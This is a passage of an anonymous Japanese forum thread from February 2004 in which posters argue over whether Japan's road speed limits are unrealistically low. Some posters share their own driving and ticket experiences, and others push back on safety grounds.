まぁ結論は各自で出してくださいな


544 :名無しさん@お腹いっぱい。:04/02/23 21:07 ID:???
>>・人の反射神経・・・さぁ?
変わらないでしょうね。

>>・人の注意力・・・下がっているのでは?(ながら運転する人多いよね)
ながら運転に関しては、異常に低い規制速度にも原因がある。
80キロで十分安全に走る事が出来る車で50キロしか出さなければ、やる事があまりないので当然退屈になる。
音楽でも聴いてれば良いのだろうが、中には暇つぶしに電話する人も出てくる。
ひどい場合は、メールを打つ人まで出てくる。
電話を法律で規制しても、タバコを吸ったり食事をしたりするようになるだけ。

>>・人の視力・・・絶対に下がっている気がする
裸眼で比べればその通りだが、0.7未満ならメガネやコンタクトで矯正してる筈では?

>>・道路の長さに対する車の数・・・上がってるに違いない
それはそうだが、一定以上の交通量になると渋滞が発生するので、規制緩和したとしても速度が上がるのは比較的交通量の少ない場合だけ。
従って、「道路の混雑が激しくなった=規制緩和は危ない」なんて話は成立しない。

あと、二つ出てなかった要素。
・受動的安全性・・・著しく向上
・シートベルトの装備率・・・ほぼ100%
装備されていても装着しない香具師もいるが、それは自己責任だと思う

思うに、シートベルトを付けないで死亡して、付けていれば重傷で済んだと思われる場合、相手方の刑事・民事・行政責任は重傷扱いで良いと思う。
あと、「管内の交通事故死者数」にも入れなくていいと思う。
これならお巡りさんも困らないでしょ。

545 :名無しさん@お腹いっぱい。:04/02/23 21:32 ID:???
>>544

>>80キロで十分安全に走る事が出来る車で50キロしか出さなければ、やる事があまりないので当然退屈になる。
>>音楽でも聴いてれば良いのだろうが、中には暇つぶしに電話する人も出てくる。
>>ひどい場合は、メールを打つ人まで出てくる。
>>電話を法律で規制しても、タバコを吸ったり食事をしたりするようになるだけ。

そういう奴は車を運転する資格が無いような気がする
結局マナーを破った事に対する屁理屈なんだよな
何でもかんでも「自分は悪くない」って言う奴いるもんなぁ
俺も都合の悪い事は全て社会のせいにして生きていけたらどれだけ気が楽かな

546 :名無しさん@お腹いっぱい。:04/02/23 21:52 ID:???
>>545
別にそういう香具師を弁護するつもりはない。
ただ、「ながら運転」を誘発する警察にも賛成出来ない。
誘発して、それ(電話しながら運転)を取り締まる。
こういうのを「マッチポンプ」と言う。

547 :名無しさん@お腹いっぱい。:04/02/23 22:15 ID:???
>>545
>>さてさて、被害事故なら貰っても平気ですか?
>>障害者になっても賠償金ガッポリもらえれば満足ですか?
>>恋人が被害事故で巻き込まれて亡くなっても平気ですか?

貰い事故でも、事故には遭うのは嫌ですね。

さて、「現実離れした規制が法遵守意識を低下させ、却って実際に危険な速度で走る車を増やしている」という指摘が何度か出ました。
そのような、警察が誘発した暴走車両にぶつけられるのは嫌な事ですし、それにより親しい人が亡くなったり、自分自身が障害者になったりするのはとても嫌な事です。

常識外れな速度の車にぶつけられて亡くなる方も少なくないですが、警察が合理性のある取締りをしていればその何割かは防ぐ事が出来たのではないですか?
という事は、その人達は警察の不合理な取締りによって死に追いやられたとも言えるのでは?
特におまわりさんには、この点をよく考えて欲しいですね。
それとも、「誘発?知ったことか!法律に反してそんな速度を出す香具師が悪い」でおしまいですか?


548 :名無しさん@お腹いっぱい。:04/02/23 22:21 ID:hX8ta9AI
>>540
そんな事をすれば、市民が警察に対する敵意を増大させる。
そうなれば、交通課以外の警察に対してまで敵意を持ってしまい、
犯罪捜査に対する市民の協力や理解が得られなくなるおそれがある。

>>542
なら、質問ですが、同じ道路で制限速度60の道路を80で走るのと、
制限速度を80に緩和して80で走るのでは、どちらの危険性が高いですか?
理論上は同じになりますが、実際は後者の方が「取り締まりに対する注意力」を
通常の運転に対する注意力に向けられるので、危険性はやや低くなります。

>>543
40年前でも4年前でも実情に合わなくなったら改正すべきでは。
>>541にもあるように、海外では制限速度は実情に沿った形になっています。
(その代わり、取り締まりは厳しいが、制限で走っても遅いとは感じない)
さて、海外と日本の違いを考えてみました。
・車の性能…今の日本車は世界的に評価が高く、欧州車に引けを取らない
・道路の整備…土建国家なので、海外よりも状態がいい道路も少なくない
・人の性能…若干の違いはあるかもしれないが、所詮は同じ人間なので大差はない
ということで、日本だけ低い制限を課す必要性はないようですね。

549 :名無しさん@お腹いっぱい。:04/02/23 22:32 ID:???
545です。

>>547

速度規制がどうであろうと取り締まりは強化するべきだと思います。
なかには「法廷速度+20kmは当たり前」なんて考えている人もいるので
法廷速度を改正しても速度超過する人がいる事は変らないと思いますね。

個人的意見ですが、実質の制限速度は天候や時間帯によって変化するもの
だと思います。しかし全ての一般道でそれを実現するのは不可能です。
よって日常的にありうる悪条件での場合での理想的な制限速度をその道の
制限速度とする事はやむをえないと思います。

安全ってそんなに安いものじゃないと思いますよ。
今まで無事で生きてこれたのは当然の事じゃないよ。

550 :名無しさん@お腹いっぱい。:04/02/23 22:44 ID:hX8ta9AI
>>549
>なかには「法廷速度+20kmは当たり前」なんて考えている人もいるので
その考えを生み出した原因が現実離れした制限速度にあるのではないでしょうか。
元が低いから、+20で丁度良くなっているのでしょう。

>法廷速度を改正しても速度超過する人がいる事は変らないと思いますね。
いるのはいるでしょうが、少なくとも違反者は大激減するでしょうね。
また、捕まる香具師は大半のドライバーが「暴走」と感じる速度を出しているので、
良識的なドライバーが速度違反で捕まる事はなくなるでしょう。

>よって日常的にありうる悪条件での場合での理想的な制限速度をその道の
>制限速度とする事はやむをえないと思います。
制限は人の行動を制約するものなので、できれば最低限のものにしておくべきです。
だから、その道の最も理想的な条件で危険と感じる速度を制限にすべきでしょう。
もちろん、悪条件の時は自主的に速度を落とす事が必要ですが、
良識のあるドライバーなら、誰でも実行している事だと思います。

551 :名無しさん@お腹いっぱい。:04/02/23 22:53 ID:???
>> 550

あんたそこまでしてスピードを合法的に出したいの?
大切な人を失ってからでは遅いんですよ。
どうせ信号の配置は変らないから実質速度は思った以上には伸びないんです。
僅かな時間の為に多くの人の危険度が増す事が望み?
自動車専用道路を張り巡らすとか他の案は浮かばないの?

552 :名無しさん@お腹いっぱい。:04/02/23 23:22 ID:hX8ta9AI
>>551
>あんたそこまでしてスピードを合法的に出したいの?
事実、日本の道路を走っている限り、多くのドライバーが思っている事ですよ。
もちろん、公道でレースをさせろという事ではありませんので、勘違いなさらないように。

>大切な人を失ってからでは遅いんですよ。
では、規制緩和が原因でその大切な人を失う確率はどれぐらい上昇しますか?
おそらく、規制を実情に合わせるだけだから、殆ど変わらないでしょうね。
それに対して、速度違反で検挙される率が0になるわけですから、
微々たるリスクに対してリターンは遙かに大きいですね。

>自動車専用道路を張り巡らすとか他の案は浮かばないの?
その自動車専用道路も実情に合わない制限があるんですね。
海外が120-130km/hの範囲に収まっているのに対して、日本は法定速度で100km/h。
しかも、法定速度で走れる部分もかなり少なく、実質80km/h規制ばかりが目立つ。
道路環境は日本の郊外と変わらないけど、海外なら郊外地域の一般道路の制限ですよ。

553 :名無しさん@お腹いっぱい。:04/02/23 23:32 ID:???
>>551
>>大切な人を失ってからでは遅いんですよ。
規制を現実に合わせれば、順法意識が高まって極端な速度を出す人は減るでしょうね。
却って「大切な人を失う」リスクは減ると思います。

>>自動車専用道路を張り巡らすとか他の案は浮かばないの?
今の日本に、そんな金はありません。

554 :名無しさん@お腹いっぱい。:04/02/23 23:40 ID:???
仮に、首都高速の制限速度が200km/hだったとします。
高速国道並みの湾岸線は別として、200km/h近くまで出すドライバーはどれぐらいいるでしょうか?
おそらく、殆どいないと思われます。いても、ルーレット族みたいなごく一部の人間でしょう。
というのも、ある速度以上になると「恐怖感」が出てくるので、ドライバーの心理に抑制が掛かります。
この速度には個人差はあるものの、大方一定範囲内で収束し、そうして、車の流れが作られていきます。
しかし、そうして作られた車の流れを乱し、危険な状態を作る悪質ドライバーがいるので、
制限速度を設けて、車の流れを乱すドライバーを排除する必要があるのです。
ところが、日本の制限速度は自然に作られた車の流れよりもかなり低いところで設定されてしまったため、
多くのドライバーに不満をもたらし、結局は無視されてしまうのです。

555 :名無しさん@お腹いっぱい。:04/02/23 23:45 ID:???
>>552

思っている事は何でも実現されるべきなの?
多くってどのくらいよ?
スピードについて来れない高齢者は車乗るなって事?

リターンが大きいって、制限速度緩和で君にとって何分の時間短縮なの?
(長距離トラックのドライバーではないと決め付けてます)
リスクとしては未熟なドライバーまで流れに沿う為に、本人にとって無理な
速度を出す事を指摘します。
制限速度が60kmから80kmになる事で制動距離が約2倍になるんですよ?
これがローリスクハイリターンと言えますか?

それに海外のデータがなんなのさ?
国によって条件が違うんだからその国ごとの速度規制でいいじゃない。
困った時に他国のデータを持ち出すのはやめて下さい。

やっぱり身近な人が犠牲者にならないと分からないのかも・・・

556 :名無しさん@お腹いっぱい。:04/02/23 23:52 ID:???
周りの運転手が自分と同じ身体能力を持ってるとは限らない
「オレは運転うまいから大丈夫」って人の事故に巻き込まれたら迷惑だなぁ
迷惑と思う前に死んでるかもしれないね

557 :名無しさん@お腹いっぱい。:04/02/23 23:54 ID:u/GeaFjK
というか、問題は同じ違反をしても捕まる人と捕まらない人が
いるという公平性の欠如では?
国は国民の安全性よりも自分たちの権力を強めるシステム
を重視しており、現在の取り締まりはスケープゴートによる
抑制効果を狙っているものである。
言い換えると、現在の道交法のシステムに当てはめれば
、制限速度を一秒たりとも超えて走った車は、全て警察が
捕まえられるということで、これは国家による管理社会の実態である。
現実常時制限速度を超えない車はほとんどないため、警察はほとんど
我々全てを摘発することができる。
もし制限速度を20キロ上げたなら、その範囲内の車に関して警察は
取り締まるという選択肢を無くしてしまう。こういうい既得権益
の保守のため法律は変わってないと思います。

制限速度を上げる代わりに、その速度をオーバーしたものは全て
摘発するシステムの方が皆納得して運転すると思うけど・・。

558 :名無しさん@お腹いっぱい。:04/02/23 23:55 ID:???
>>554

速度にバラつきが出る事は危険だとこのスレで誰かが言っていましたよ。
それに各自が各々の限界速度で走る事は安全といえるかどうか。

559 :名無しさん@お腹いっぱい。:04/02/23 23:58 ID:???
配偶者、または恋人が交通事故で死ぬ確率が0.01%増える代わりに
あなたに1日あたり30分の時間が得られるボタンがあります。
ボタンを押しますか?(y/n)


560 :名無しさん@お腹いっぱい。:04/02/24 00:15 ID:???
>>558
最終的にはおのおのの限界速度を好きに出すわけではなく、
大方が選択する範囲で収束するのだから、速度のばらつきは小さくなるのでは?

>>559
1日30分は大きいので、漏れだったら押すかもな。仮に、自分が死ぬ確率が上がっても。
(不摂生してれば、それ以上の死亡率は上昇するし)
1年で182時間30分(1週間以上)、40年で7305時間(約10ヶ月)も得をするのだから、
その時間差は計り知れない。Time is moneyですよ。

561 :名無しさん@お腹いっぱい。:04/02/24 02:20 ID:???
>>559
一日に0.01%は、かなり大げさでは?
年間に交通事故で亡くなるのは8000人。
一日に0.01%というのは、2〜3桁違ってると思います。

それはともかく、どんなリスクも犯したくないのなら必要以上に家から出ない事ですね。
それが幸せな人生とは思いませんが。

年間5000人が家の中で転倒して亡くなってます。
自殺者は年間3〜4万人です。
病死はもっと多いです。
交通事故の8000人って、死亡原因の中で何番目位なんでしょうね。

私も友人を事故で亡くしてますから事故が皆無になって欲しいですよ。
でも、物事にはバランスというものがあるでしょう。

562 :名無しさん@お腹いっぱい。:04/02/24 07:08 ID:???
>>555
>思っている事は何でも実現されるべきなの?
それが数多くの意見なら可能な限り実現されるべきでしょう。
規制緩和なんて、決して不可能な事ではないですし。

>多くってどのくらいよ?
具体的なアンケートを取った訳じゃないけど、免許所持者の大半でしょうね。
むしろ、速度超過をした事が全くないドライバーって、皆無に近いのでは?

>スピードについて来れない高齢者は車乗るなって事?
そゆこと。スピードについて来れない人は免許を持たせるべきではない。
そのために免許制度にしている訳なんだし。

>それに海外のデータがなんなのさ?
>国によって条件が違うんだからその国ごとの速度規制でいいじゃない。
>>548の下、読みました?
日本の条件が海外に比べて劣っていない(むしろ、優れている方)のに、
制限速度だけが低い理由にはならないでしょう。
また、海外のデータは実例なので、信憑性があるという事で出したわけですが、
「日本の規制速度が日本の道路事情に沿ってない」というのは事実ですし。

563 :名無しさん@お腹いっぱい。:04/02/24 10:24 ID:???
40→60や60→80として1日30分短縮するには相当走らないといかんな
営業とか配達とか
もちろん信号も渋滞もない田舎なら即座に差がでるんだが
都内および近郊はムリポ

おれは都内、都内近郊を制限速度で走ることが多いが
深夜に近くてもけっこう制限速度派は多いよ
空いてるから気にならない
半分は馬鹿飛ばし派で半分が制限速度派かな

基準速度age派はageたらageたで従来の速度域で走ってる連中を
鈍いと叱咤するのが目に見えるが(w


564 :名無しさん@お腹いっぱい。:04/02/24 10:59 ID:???
>>563
市街地は世界的にも50-60km/h制限だし、
日本でも市街地の50-60km/h規制は比較的守られている。
市街地の場合、規制を緩和するといっても、精々40→60までだろう。
ただ、郊外や高規格道路、高速道路に関しては相当の緩和が必要。
言えば、>>453の表に近い形になるだろうな。

565 :名無しさん@お腹いっぱい。:04/02/24 11:12 ID:xRpJNUNv
仮に規制速度を守って走っている軽ワゴンがいると仮定します。
ご存知の通りの車間距離は速度に反比例するので約2分の1ですね。
(ドライバーのイライラを考慮して大雑把に)
流れの中の注意力は前の車と後ろの車で今までの2倍取らなければなりません。
路上の障害物も今までよりも早めに見つけることが困難になります。

さて、事故は自分が車間距離を正しくとっても他人に巻き込まれる場合もあります。
つまり全ての人の事故に遭う確率が上昇します。
(自分が事故をおこさなくても無理な追い越しや追突で被害に遭う場合もある)
夜間とか悪天候でも無謀な車間距離で走る人が多いので当然ですね。
もちろん初心者も高齢者も障害者もトラックなんかにあおられちゃ
パニック状態になる人は多いでしょう。

さてさて、被害事故なら貰っても平気ですか?
障害者になっても賠償金ガッポリもらえれば満足ですか?
恋人が被害事故で巻き込まれて亡くなっても平気ですか?

自分の知人が事故に遭う可能性が増えても
法律のみに判断基準を置いた「安全」速度で走りたいですか?

道路の許容容量を超えてしまうような低すぎる基準では事故の確率は上がるのでは?
ってゆーかさっき上の状況で事故を目撃してしまった。
車間距離が縮まってしまうような規制はまずいだろ。

566 :リンク:04/02/24 11:13 ID:Uven2LaF
普通に販売していますhttp://www.freepe.com/ii.cgi?hardplay

567 :名無しさん@お腹いっぱい。:04/02/24 11:27 ID:???
ここには車の運転をした事がなさそうな人もいるようなので、
イメージしやすくするために、歩行者レベルに下げて例えるとしましょう。

仮に、「学校の廊下の制限速度は3km/h」という校則があったとします。
しかし、通常の歩行では4km/h前後なので、普通に歩くと速度超過になります。
(歩行スピード参照:ttp://icofit.net/outdoor/walking/analyze.html)
また、生徒の大半は校則に関わらず4km/h前後で歩行しています。
たまに、生活指導の先生が速度計を持って計測したり、
校内の廊下に設置されたカメラで生徒の歩行スピードを監視しており、
運悪く見つかった生徒には謹慎処分などのペナルティーが与えられるため、
生徒同士が情報交換をして、ペナルティーを避けようとします。
そのような学校で、生徒会長選挙がありました。
A君は「今の廊下の制限速度は合理的でないから緩和すべきだ」と訴えたとします。
一方のBさんは「どんな不合理な校則でも従うべき。
もっと監視を強めて、違反者は即退学処分に」と訴えたとします。
さて、あなたがこの学校の生徒の立場なら、どちらを支持しますか?

568 :名無しさん@お腹いっぱい。:04/02/24 11:49 ID:???
>>567
A君の意見を聞いた生活指導の先生はA君を呼び出して議論を始めました。

A「そもそも、3km/h規制の根拠は何ですか?」
先生(以下、Tとする)「歩きの速い生徒もいれば遅い生徒もいる。だから、歩きの遅い生徒に合わせて決めた」
A「殆どの生徒は今でも4km/h前後で歩行しているし、それで何の支障もないはず」
T「遅い方が身体をぶつけたときの衝撃が小さい。
  校則を守れば、身体をぶつけても持っている携帯電話を壊さずに済んだかもしれないが、
  校則を緩和して、君が持っている携帯電話を壊してもいいのか?」
A「身体をぶつけてしまうのは良くないですけど、今でもそういう人は少ないですよ」
T「校則を緩和すれば、今まで廊下を歩いていた生徒が廊下を走るようになる」
A「別に、廊下を走らせろと言っているのではなくて、普通に歩かせて下さいよ」

常識で考えれば、生徒の方がまともな事を言っているだろ。

569 :名無しさん@お腹いっぱい。:04/02/24 11:52 ID:???
>>567
少なくとも速度差をもっと付けないと
制動距離は衝突の怪我から考えて
廊下を爆走する生徒と普通の歩行の生徒

過半数が爆走してるからといって血を流す生徒が
ソコソコ居れば父兄としては廊下を走ることに賛成できない

570 :名無しさん@お腹いっぱい。:04/02/24 14:51 ID:xRpJNUNv
3kmは40km(郊外60km)
4kmは60km(郊外80km)
爆走は80km(郊外100km)
でよろしか?

速度を緩和するとさらにそれに乗じて暴走するやつがでるというのは
国民を信頼していない役所基準だな。
確かに565でも書いたとおり
イライラしたときでも車間距離を守ってくれる人は少ない現状ではあるが
速度の場合は直接的な視覚刺激が抑制力となって
爆走しまくりにはならないであろう。

571 :名無しさん@お腹いっぱい。:04/02/24 17:18 ID:???
なんか無意味な比喩だな。
変な例え使わなくてもわかりやすく説明できるだろ。

572 :名無しさん@お腹いっぱい。:04/02/24 18:27 ID:???
>>570
その発言で、現状認識の違いがよくわかったような気がします。
数多くのドライバーが感じているのは>>567の状態です。
(速度超過しないようにするには、相当意識しなければならない)
>>570さんは、一般的な感覚とは全然違うようですので、
個人の感覚は一朝一夕で変わるものではありませんが、
そのあたりを認識してもらえればと思います。

>>571
下手な説明でスマソ。別のいい例えが思いつかなかったので。
要するに、一般的に丁度良いと感じるよりも遅い規制は不合理だということです。
上にも書いていますが、今の速度規制は通常の感覚よりも遅く、
常に速度計とにらめっこしなければならないようなのは問題があると思います。

573 :名無しさん@お腹いっぱい。:04/02/24 18:29 ID:???
>>572
>>570>>569の間違いでした。スイマセン…

574 :570:04/02/25 00:00 ID:spT7fy/m
>>573
ビックリしただよー
そんなに俺は読解力がないのかとおもたよ
間違いでよかった

575 :名無しさん@お腹いっぱい。:04/02/25 01:02 ID:PknnwnnY
>567-568
面白い喩えだね。

よく分かるよ。

わざとらしくノロノロ走らない限り、
法律違反を犯してしまうような規制は
即刻改めてもらいたいね。


576 :名無しさん@お腹いっぱい。:04/02/25 05:25 ID:9JSi09gK
確か、法定速度を守る必要があるのは単独走行と先頭車両だけでは?

国会の答弁で政府見解が法定速度より流れ優先になってた気がするが...

詳しい人からのレスを待つ

577 :名無しさん@お腹いっぱい。:04/02/25 09:43 ID:???
>>576
んなこたーない、全員守る必要がある。

578 :名無しさん@お腹いっぱい。:04/02/25 10:53 ID:???
>>576
まあ、後ろの車両が先頭車両を追い越さない限り、先頭車両より速く走るのは無理だからな。
瞬間的に先頭車両より速くなっても、車間距離がすぐに縮まって減速しなければならないし。

579 :名無しさん@お腹いっぱい。:04/02/26 14:05 ID:mxK0ZNEZ
>>577
簡単に否定されるのももっともで、ハイ。

私の記憶ですが20年ぐらい前に車の雑誌で読みました。
昭和の時代の国会答弁で
「質問者が法定速度を守って流れに逆らうと危険がともなうが
法定速度と流れとどちらを優先すべきか?」
みたいな質問があり
政府役人の回答が「流れを優先」となってた気がします。

もちろん古い話で私の記憶違い、または政府方針の変更なども考えられます。



580 :名無しさん@お腹いっぱい。:04/02/26 14:51 ID:???
>>579
普通は流れ≦制限速度にならなければいけないのに、
流れ>制限速度になっているから、変な質問が出てきたんだよな。

581 :名無しさん@お腹いっぱい。:04/02/26 23:36 ID:2NaZ7LxJ
流れ≦制限速度と
なってるのは、東京都内や横浜の中心地の60制限のところくらいだな。

バイパスとか、北海道の田舎道なんかは
100位で普通に走れるし。

田舎も都市中心部も同じ規制なのはいかなるものか?

582 :名無しさん@お腹いっぱい。:04/02/27 07:34 ID:???
>>581
まず、一般道の法定速度を市街地と郊外に分離する事から始めないとな。
市街地は現在の60km/hでいいとして、バイパスや郊外は100km/hまで緩和すべきだな。
そして、高速道路は130m/h(走行車線)前後まで緩和してこそ、高速道路の性能が発揮されるというもの。
高速道路と言うからにはアウトバーンみたいに無制限でもいいと思うのだが、
軽自動車の限界を考えれば、走行車線だけは130km/h規制でいいかなと。
そして、超高速道路になる予定の第二東名名神高速は全線無制限(推奨140km/h)。
スピードが出ない大型車と軽自動車を進入禁止にすれば、流れについていけないことはなかろう。

583 :名無しさん@お腹いっぱい。:04/02/27 11:02 ID:???
妄想君だな

584 :名無しさん@お腹いっぱい。:04/02/27 18:55 ID:???
>>583
むしろ、みんなが現在の速度規制を守る方が妄想だな。

585 :名無しさん@お腹いっぱい。:04/02/28 00:11 ID:u/YRfjU0
郊外は100km/h?
バカじゃねぇの?

586 :名無しさん@お腹いっぱい。:04/02/28 00:25 ID:???
>>585
>>541

587 :名無しさん@お腹いっぱい。:04/02/28 00:40 ID:u/YRfjU0
>586
人口密度も車の密度も平均的な地形も違う国と比較することに何の意味があるの?

588 :名無しさん@お腹いっぱい。:04/02/28 01:37 ID:27oT9O7p
>>587
人口密度が何か関係あるの?
車は道路の上を走るものなんだから、道路の状態で比較しないと意味が無い。
日本の道路を他の国と比べると、決して状態は悪くないし、むしろ良い方だと思うが。
特に高速道路は、例えば照明一つ取っても、郊外でさえ夜中でも昼間のように明るい高速道路なんて珍しいと思うよ。
「条件が違う」というなら。むしろ諸外国よりも規制が緩くても良い。
それなのに実際は、世界的に異常とも言える程の過剰な規制となっている。
反則金利権の為に低く抑えているのか?そうでないなら当局のお偉方の頭の中身が異常という事になる。

ちなみに車の台数だが、台数が増えてくれば規制に関わらずスピードが落ちてくるし、もっと増えてくれば渋滞で更に落ちる。
従って、車の密度が高いから規制が厳しいというのは無意味。

あと地形に関しては、ヨーロッパにもアメリカにも山岳地帯は少なからず存在する事をお忘れでは?
それに、地形を根拠にするなら日本でも平野部の法定速度は緩和すべきという事になる。


589 :名無しさん@お腹いっぱい。:04/02/28 01:40 ID:e7mYcNlC
まぁ、大方保険会社の圧力だろ?

590 :名無しさん@お腹いっぱい。:04/02/28 03:30 ID:???
>>588
日本は土建国家だし、郊外になればなるほどその傾向は強いので、
立派な道路が貸切状態だったりする。
そういう車の密度は低い、道路の状態は良い道路なのに、
制限だけは低いとされる法定速度にも満たない道路はいっぱいある。

>>589
圧力か…なら、自動車会社にも頑張ってもらいたいな。
何せ、日本を代表するトヨタがあるんだし。

591 :名無しさん@お腹いっぱい。:04/02/28 03:44 ID:???
>>590
加えて、車自体の性能も日本車は「壊れない」として世界中の信頼があり、
(日本国内では欧州車信者が多いけど、それはイメージだけ)
しかも、その壊れにくい日本車を「車検」と称して、
強制的なメンテナンスを2〜3年に1度行うのだから、
車の信頼性はおそらく世界一の基準だろう。
日本の道路を走る車って、欧州車もあるけど日本車が大半だよね。

592 :名無しさん@お腹いっぱい。:04/02/28 06:42 ID:???
>車は道路の上を走るものなんだから、道路の状態で比較しないと意味が無い。

単純な発想だな。

593 :名無しさん@お腹いっぱい。:04/02/28 07:05 ID:???
>>592
単純=わかりやすい、決して悪いことではないな。
複雑なのがいいなんて、誰が決めた?

594 :名無しさん@お腹いっぱい。:04/02/28 11:37 ID:???
結局「俺はこれからも違反するから規則を変えてくれ」って事だね。
アメリカでは銃の規制が緩いんだから日本でも銃を売るべきだよ。
マリファナだって合法の国あったよな。普通に自販機で売ってくれたらいいなのなぁ。


595 :名無しさん@お腹いっぱい。:04/02/28 11:52 ID:???
>>594
マリファナで頭がイカれたのか?

>「俺はこれからも違反するから規則を変えてくれ」って事だね。
合理化された規則でも違反するなら、わざわざ規則を変える必要はないよな。
どんな規則でも違反する香具師には規則を変えても何のメリットもないし。

>アメリカでは銃の規制が緩いんだから日本でも銃を売るべきだよ。
>マリファナだって合法の国あったよな。普通に自販機で売ってくれたらいいなのなぁ。
では、日本人の何%が銃やマリファナを所持しているのでしょうか?
多く見積もったとしても>>594を含めても、10%もいないでしょうね。
一方、免許所有者で普段運転する人の何%が速度違反をしているのでしょうか?
少なく見積もったとしても、90%以上はいるでしょうね。
まあ、日本人の90%以上が銃やマリファナを所持するようにならないと、
銃やマリファナと速度違反を同列に論じても何の説得力もないな。

596 :名無しさん@お腹いっぱい。:04/02/28 12:09 ID:???
>>595

法廷速度を改正すると何が合理化するの?

597 :名無しさん@お腹いっぱい。:04/02/28 21:02 ID:ccOHwcWQ
すべての道路を速度無制限にするべきだ。
以上!

598 :名無しさん@お腹いっぱい。:04/02/28 21:50 ID:???
>>596
何かを合理化するために改正するという意味じゃなくて、
規制そのものを合理化するという意味で発言したのだが…

まあ簡単に言えば、通常の運転で摘発に怯えなくていいという事。

>>597
「恐怖感」という脳内リミッターがあるから、
良識のある人なら、速度無制限でも無茶なスピードは出さないと思うよ。
ただ、危険を認識しながらも無茶なスピードを出す人がいるから規制しているだけ。

599 :名無しさん@お腹いっぱい。:04/02/28 23:35 ID:HV6spkCn
ここで制限速度マンセーの人って、
運転経験何年くらいの、年間何km走る
ひとなんだろうか?

殆どペーパーみたいな人でしょ。

若しくは警察関連ORレーダー探知機メーカーの人(笑)。

600 :名無しさん@お腹いっぱい。:04/02/29 00:36 ID:???
運転歴10年、年間2万キロくらい。
車は普通のセダンで、一般道では郊外で80km/h、空いてる高速で130km/hをそれぞれ越えないように運転してる。

制限速度マンセーではないが、法律も罰則も現状維持で構わないと思う。


601 :名無しさん@お腹いっぱい。:04/02/29 01:24 ID:???
>>600
何故現状維持で構わないの?
制限速度が緩和されれば、捕まる危険性が減るのに。

「緩和すると、元々制限速度を超えてた人がもっと飛ばすから危ない」という事?
それなら、例えば現状60km規制で90kmから免停の道路は「90kmまではOKで、90km超からいきなり免停」にすれば良い。
それなら100km以上でぶっ飛ばす人にとっては今と同じペナルティーになるし、逆に一般のドライバーが無用なストレスにさらされる事もなくなる。


602 :名無しさん@お腹いっぱい。:04/02/29 01:33 ID:???
>>599
なんでもかんでも決め付けるのは悪い癖ですよ。

運転歴13年、年間2.5万キロ。
身の回りの人でも一通り事故は経験している感じで、事故の怖さは十分認識しています。
相手が100%悪い事故でも、こっちにとっては余計な時間取られるし怪我もしたくないので
とにかく迷惑。
他人の事故だって渋滞の原因を作るから困るんだよね。
特に高速道路と橋の上での事故起こすのだけは絶対にやめて欲しい。非常に迷惑です。
言いたいのは「自分は状況に応じて安全に走るから大丈夫」とかじゃなくて、自分の身の回り
を走る車で暴走されるのが困るんですよ。
「法廷速度の20Kmオーバーは常識」なんて言う馬鹿も結構多いからね。

だから俺も現状のままでいいと思うよ。


603 :名無しさん@お腹いっぱい。:04/02/29 01:56 ID:8su/VSZL
>>600
>車は普通のセダンで、一般道では郊外で80km/h、空いてる高速で130km/hをそれぞれ越えないように運転してる。

ほぉ〜、俺よりもスピード出してるくらいだね。
俺は、今月、一般道(40`道路)60`で捕まり、高速(80`区間)110`で捕まった訳だが
貴方は滅多に捕獲されてないのかな?
多分、それは運が良いんだよ。
特に飛ばしてる訳でもないのに、しょっちゅう捕まれば速度規制の理不尽さを痛感すると
思うのだが・・・。

604 :名無しさん@お腹いっぱい。:04/02/29 03:39 ID:???
運転暦12年、年間2万キロ。
ネズミ捕りに引っかかった回数2回。
どちらも制限速度40キロのところで、60キロと65キロで捕まった。
その時そこの道走ってた車はもれなく引っかかってた。
まわりに民家もなく、歩行者もまずいない夜の田舎の直線道路を50キロで走るイライラ感はたまらん。
誰もいないのにパトカーはいたりするし。
前からずっと疑問に思ってたこと。
R1の大阪−京都間で制限速度が60キロから50キロに変わる地点があるんだけど、その基準がわからん。
周囲の状況がそんなに変わってるとは思えないのに。


605 :名無しさん@お腹いっぱい。:04/02/29 07:14 ID:???
>>602
>なんでもかんでも決め付けるのは悪い癖ですよ。
でもねぇ、そう思わざるを得ない状況なんだよね。
普通に走っていたら、絶対に理不尽に感じる制限だし。
まあ、市街地ばかり走っていたら、そうでもないのかな。

>「法廷速度の20Kmオーバーは常識」なんて言う馬鹿も結構多いからね。
なぜ、それが常識になったのかを考えて欲しい。
元々の基準が低くなければ、そんな常識が通用しなかったはず。

>言いたいのは「自分は状況に応じて安全に走るから大丈夫」とかじゃなくて、
>自分の身の回りを走る車で暴走されるのが困るんですよ。
現状派でそう思うのに、よく年間2.5万kmも走れましたね。やっぱり、市街地だから?
流れに乗らないノロノロ運転は迷惑だから、郊外に出るのは止めて下さいね。

606 :名無しさん@お腹いっぱい。:04/02/29 11:50 ID:???
確か法定速度って「この速度で走れば安全だろう」って基準で決まっているのでは?
ちなみに死亡事故の原因は速度違反がトップらしい
まぁ安全を取るか快適さを取るかってとこだろう。

法定速度を500キロくらいにすれば速度違反はなくなるね。

607 :名無しさん@お腹いっぱい。:04/02/29 11:58 ID:???
>>601

>例えば現状60km規制で90kmから免停の道路は「90kmまではOKで、90km超からいきなり免停」にすれば良い。

いきなり免停ですか
すごく合理的な法律ですね
いっそのこと免許取り消しでいいんじゃないの?

608 :名無しさん@お腹いっぱい。:04/02/29 13:15 ID:???
>>607
現状よりも厳しくなるような改正は、いかなるものでも論外。
ただでさえ非常識な程厳しいんだから。

609 :名無しさん@お腹いっぱい。:04/02/29 15:28 ID:???
>>607
問題は車載速度計の誤差ですかね。
車検でも15%程度の誤差は許容しているのだから、
15%以内の違反は裁判をすれば無罪になる可能性はあるよね。
となると、摘発ラインは20〜25%程度が妥当なラインでしょう。

610 :名無しさん@お腹いっぱい。:04/02/29 18:56 ID:???
>>608

レスする相手間違ってませんか?

601の「例えば現状60km規制で90kmから免停の道路は「90kmまではOKで、
90km超からいきなり免停」にすれば良い。 」には賛成?


611 :名無しさん@お腹いっぱい。:04/02/29 19:45 ID:???
>>605

君の真意がわからないよ。
自分と意見が異なる人を煽るのが目的?
真面目に論議したくはないのかな?
とりあえず他人の行動に対して命令する権利は君にはないと思うんだけど。
ここは厨スレだったんならもう来ないよ。


612 :600:04/02/29 20:24 ID:???
>603
越えないように、だから常に出してるわけじゃないよ。
毎日の通勤は混んでるからスピード違反なんて不可能だし。
捕まったのは10年間で1回だけ。
50km/h制限の道で85くらい出してて捕まった。
捕まったときの切符には74km/hと書いてあったが。
運がいいと言えばそうもね。
また捕まったら自分の設定速度を下げるかも。

>601
現状維持で構わないと言うのは、自分が速度違反しているのは自覚してるし、郊外であっても80km/hはやっぱりそれなりに危険だと思うから。

